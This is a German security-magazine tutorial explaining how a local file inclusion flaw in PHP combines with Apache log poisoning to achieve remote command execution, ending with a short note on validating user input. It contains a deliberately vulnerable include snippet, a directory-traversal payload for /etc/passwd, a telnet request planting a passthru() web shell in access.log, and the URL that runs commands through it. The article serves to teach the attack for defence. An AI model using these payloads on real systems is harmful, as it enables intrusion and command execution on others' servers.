



MARCELL DIETL

Von LFI zu RCE

Wiederentdeckung einer alten Technik

Schwierigkeitsgrad:



Web Applikationen sind für viele Privatpersonen wie auch Firmen nicht mehr wegzudenken. Doch auch die Angriffstechniken, um an sensible Daten zu gelangen, werden immer ausgeklügelter. Dieser Artikel beschreibt eine ältere Technik, welche erst jetzt populär wird.

Ziel dieses Artikels ist es Ihnen als Leser Schritt für Schritt die Funktionsweise einer seit Anfang 2009 bekannter werdenden Angriffstechnik praktisch zu vermitteln. Die Methodik, welche im Internet unter LFI2RCE zu finden ist, ist an sich nichts Neues. Erste Exploits, welche diese nutzten, tauchten bereits vor Jahren auf. Auch Anleitungen gab es schon seit etwa 2006. Diese fanden jedoch wenig Beachtung und so waren es vor allem XSS und mittlerweile SQL Injection, welche die Mehrheit der beschriebenen Angriffe ausmachten. Mit dem Auslagern sensibelster Informationen, zum Beispiel Kreditkartendaten, auf Web Applikationen jedoch, stieg das Interesse für neue Angriffsszenarien und so kam eine Technik ans Licht, welche jahrelang niemand wahrgenommen hatte.

Local File Inclusion I

Der erste Teil des Angriffs, welcher das Fundament und die Voraussetzung dafür darstellt basiert auf einem Programmierfehler, welcher es erlaubt lokale, teils auch entfernte, Dateien in die Webseite einzubinden. Vor allem die Remote File Inclusion (RFI) galt lange als gefährlich, weil sich dadurch etwa PHP Shells auf einen Server laden ließen und somit der Rechner komplett gesteuert werden konnte. Local File Inclusion (LFI) Angriffe erlaubten es häufig „nur“ Dateien, über deren Existenz man bescheid wusste, einzubinden. Beispielsweise

die `/etc/passwd` auf einem Linux System. Interessantere Dateien, wie etwa die `/etc/shadow`, waren für den Apache Dienst nicht lesbar (oder nur in sehr seltenen Fällen). Somit galt LFI lange als nicht sonderlich gefährlich. Dies könnte sich bald ändern.

Local File Inclusion II

In der Praxis tritt eine LFI Schwachstelle vorwiegend dann auf, wenn eine der folgenden Funktionen nicht sachgemäß genutzt wird (hier im Falle von PHP): `require()`, `require_once()`, `include()`, `include_once()`. Ein fehlerhafter Code könnte im simpelsten Falle, wie folgt aussehen:

```
<?php
$page = $_GET['page'];
include($page.".php");
?>
```

In dem jeweiligen Webverzeichnis des Servers könnten nun Dateien, wie etwa `bilder.php`, `filme.php`, `about.php` und andere enthalten sein, die dann wie folgt aufgerufen werden würden: `http://site/index.php?page=bilder`. Da der Parameter „page“ jedoch nicht überprüft wird, könnte man mit Hilfe von Directory Traversals auch andere Dateien einbinden, vorwiegend die `/etc/passwd`. Praktisch sähe das folgendermaßen aus: `?page=../../../../etc/passwd%00`. Das terminierende

IN DIESEM ARTIKEL ERFAHREN SIE...

Wie Local File Inclusion Angriffe funktionieren;

Wie Remote Command Execution verläuft;

Wie man beide Techniken kombinieren kann, um mit Hilfe von LFI Kommandos auf einem Rechner zur Ausführung zu bringen.

WAS SIE VORHER WISSEN/KÖNNEN SOLLTEN...

Grundlagen in PHP;

Grundkenntnisse bei der Funktionsweise eines HTTP Servers.



Abbildung 1. OWASP Logo

Null Byte ist nötig, um das von der Web Applikation angefügte ".php" zu umgehen.

Remote Command Execution I

RCE Angriffe gegen Web Applikationen traten in den vergangenen Jahren am häufigsten bei Anwendungen auf, welche in der Skriptsprache Perl geschrieben wurden. Hierbei war vor allem die ungefilterte Nutzung der Funktionen `eval()` und `print()` die Quelle des Problems. Werden Argumente, etwa ein GET Parameter, als Variable übergeben, ist es bei beiden Funktionen möglich Kommandos direkt auf dem System zu starten und die Ausgabe zu erhalten. Hierzu zwei einfache Beispiele in der Kommandozeile, die nur unwesentlich hätten verändert werden müssen, um bei einer Webanwendung zum Einsatz zu kommen.

Remote Command Execution II

Das erste Skript nutzt die `eval()` Funktion, welche Perl Code erwartet und schließlich ausführt:

```
#!/usr/bin/env perl
eval($ARGV[0]);
```

Führt man das Script aus und übergibt als erstes Argument "`system('uname -prs');`" (mit Anführungszeichen), erhält man etwa auf einem Intel MacBook folgende Ausgabe: Darwin 9.6.0 i386. Anschließend noch ein Beispiel mit der `print()` Funktion:

```
#!/usr/bin/env perl
print "$ARGV[0]";
```

Übergibt man diesem Programm die gleiche Zeichenkette wie im ersten Beispiel, so würde diese schlicht ausgegeben werden. Um das Kommando zur Ausführung zu bringen, benutzt man entweder ein Semikolon oder die für *nix Systeme übliche Pipe. Einen entscheidenden Unterschied gibt es jedoch: In ersterem Fall wird jedes Kommando hintereinander ausgeführt, in zweiterem nur das jeweils letzte. Beispielsweise liefert „whoami;uname“ (ohne Anführungszeichen) in meinem Fall: „skyout“ und „Darwin“ in jeweils einer neuen Zeile. Wohingegen „whoamiluname“ (ohne Anführungszeichen) nur „Darwin“ ausgibt.

LFI2RCE – Theorie

Bevor Sie mit dem praktischen Angriff als solches vertraut gemacht werden, sollte zuerst die theoretische Idee dahinter verstanden werden. In dem später gezeigten Beispielfall wird von einer PHP Anwendung ausgegangen, welche die Funktionen `include()` nicht sicher implementiert hat. Um unsere Kommandos zur Ausführung zu bringen, werden wird die Funktion `passthru()` verwenden, welche Argumente direkt an das System übergibt. Die Frage, die Sie sich als erstes stellen sollten, ist folgende: Wie sollen wir dazu im Stande sein PHP Code in eine Datei zu schreiben, wenn uns außer einer LFI Schwachstelle nichts zur Verfügung steht. Die Lösung ist so einfach, wie kaum beachtet: Log Dateien. Bei jedem Aufruf einer Webseite werden von dem Besucher Informationen wie etwa Browserstring, Referer, aufgerufene Webseite etc. in den Log Dateien von Apache hinterlegt. Dies stellt für sich alleine genommen keine Gefahr dar. Da wir aber im Stande sind PHP Code in eine Datei zu schreiben, zum Beispiel `access.log` oder `error.log`, und diese, sofern die Zugriffsrechte und Einstellungen in der PHP Konfigurationsdatei dies zulassen, per LFI eingebunden und



Willkommen
in der
Zukunft...
im FH-Studiengang
IT Security

Schwerpunkte:

- IT-Betrieb
- Netzwerktechnik
- Sicherheitstechnologien
- Sicherheitsmanagement
- Transferable Skills

Mit dieser Kombination aus Technik- und Managementwissen zum/zur gesuchten Sicherheits-expertIn!

Fachhochschule St. Pölten GmbH
Matthias Corvinus-Straße 15
3100 St. Pölten, Austria
T: +43/2742/313 228 - 632
E: is@fhstp.ac.at
I: www.fhstp.ac.at

interpretiert werden kann, können wir auch Kommandos auf dem Rechner zur Ausführung bringen.

Mit Telnet auf Port 80 verbinden

Um den Code erfolgreich in die jeweiligen Dateien einzutragen müssen wir direkt mit dem Rechner auf Port 80 im HTTP kommunizieren. Versucht man die Zeichenketten mit dem Browser zu übergeben, so würden diese enkodiert werden. Zum Beispiel entstünde aus einem Leerzeichen %20. Dies käme einem syntaktischen Fehler in PHP gleich und der Angriff wäre gescheitert. Wir schicken nun die Zeichenkette `<? passthru($_GET['cmd']) ?>` an den Server:

```
$ telnet site 80
Trying x.x.x.x...
Connected to site.
Escape character is '^]'.
GET /<?... HTTP/1.1
```

Nach zweimaligen Betätigen der ENTER-Taste wird der Server eine „Antwort“ zurücksenden, welche aus einem Header und dem eigentlichen Content in HTML besteht. Der Header könnte wie folgt beginnen:

```
HTTP/1.1 302 Found
Date: Mon, 16 Mar 2009 12:05:47 GMT
Server: Apache
```

Apache Logdateien

In der access.log von Apache findet sich anschließend der PHP Code, welcher als solches noch keine Gefahr darstellt:

```
hostname - -
[16/Mar/2009:13:05:47 +0100]
```

```
"GET /<? passthru($_GET['cmd']) ?>
      HTTP/1.1"
302 282 "-" "-"
```

Hätten wir diese Zeichenkette über einen Browser abgesetzt, wäre das Ergebnis wenig hilfreich und würde wie folgt aussehen:

```
"GET /%3C%20passthru
($_GET[%27cmd%27])%20%3E HTTP/1.1"
```

Unser PHP Code ist zwar nun erfolgreich in die Apache Logdatei eingetragen, jedoch wissen wir als Angreifer nicht den Ort, an dem sich diese Datei auf dem Server befindet. Die schnellste (und einfachste) Methode dies zu ermitteln ist es mittels Brute-Force den Ort zu erraten, wie etwa: `/var/log`, `/var/log/apache`, `/var/log/apache2` und andere.

Befehle ausführen

Wir verfügen nun über zwei von drei Grundlagen, um den Angriff erfolgreich abzuschließen und Systemkommandos zu starten: 1) Wir sind in Kenntnis einer LFI Schwachstelle und 2) Wir haben PHP Code in die Logdatei von Apache eingefügt. Die letzte Voraussetzung stellt der Lesezugriff auf die Datei dar. Hat der Apache Daemon bzw. der PHP Interpreter nicht die nötigen Rechte und Einstellungen, um die access.log zu lesen und den darin enthaltenen Code auszuführen, waren alle Vorbereitungen umsonst. Sind jedoch alle drei Grundlagen erfüllt, können Befehle nun wie folgt gestartet werden:

```
http://site/index.php?page=
../../../../var/log/apache2/
      access.log%00
&cmd=env
```

Die URL wurde nur der Lesbarkeit halber auf drei Zeilen aufgeteilt. In der ersten Zeile wird die index.php aufgerufen, zusammen mit dem nicht abgesicherten „page“ Parameter (siehe Anfang). Diesem wiederum wird in der zweiten Zeile der relative Pfad zu der Apache Logdatei übergeben, mit einem abschließenden Null Byte.



Abbildung 2. Das Logo des SANS Institute

Letztendlich wird dem Parameter „cmd“ das auszuführende Systemkommando übergeben.

Schutzmaßnahmen

Bei wenigen Dingen, sind sich alle Experten einig, aber manchmal kommt es vor und so gilt bei der Konzeption und Programmierung von Webapplikationen: *Traue keiner Nutzereingabe!* Dass der PHP Code in der Logdatei von Apache landet, stellt noch keine Gefahr dar. Erst der ungefilterte „page“ Parameter wurde zur Bedrohung. Ob per GET, POST oder sogar als Browserstring übertragen, sollte jede Eingabe des Nutzers erst validiert werden, bevor sie an weitere Schichten der Applikation übergeben wird. Eine detaillierte Schilderung würde jedoch den Rahmen dieses Artikels sprengen.

Fazit

Der in diesem Artikel beschriebene Angriff ist in dem Sinne besonders interessant, da er erst durch das Vorhandensein verschiedener kleinerer Fehler eine Bedrohung darstellt, dann jedoch eine besonders große. Die Technik ist lange Zeit nicht wahrgenommen worden und erst Anfang diesen Jahres wieder auf einigen Seiten aufgetaucht. Erste Proof-of-Concept Programme, welche das hier Beschriebene, vollständig automatisieren sind mittlerweile öffentlich verfügbar.

Marcell Dietl

Der Autor beschäftigt sich seit mehreren Jahren mit IT Security, mit besonderem Augenmerk auf Applikationssicherheit im Web. Derzeit ist er freiberuflich tätig und bereitet sich auf ein Studium der Allgemeinen Informatik vor, welches Ende des Jahres beginnen wird. Kontakt mit dem Autor: mail@marcell-dietl.de

Im Internet

- http://www.owasp.org/index.php/PHP_Top_5 – Research seitens OWASP zu den häufigsten Problemen bei PHP Applikationen;
- <http://www.sans.org/top25errors/> – Die 25 gefährlichsten Programmierfehler;
- <http://www.ush.it/> – IT Security Research, mit starkem Fokus auf Websecurity.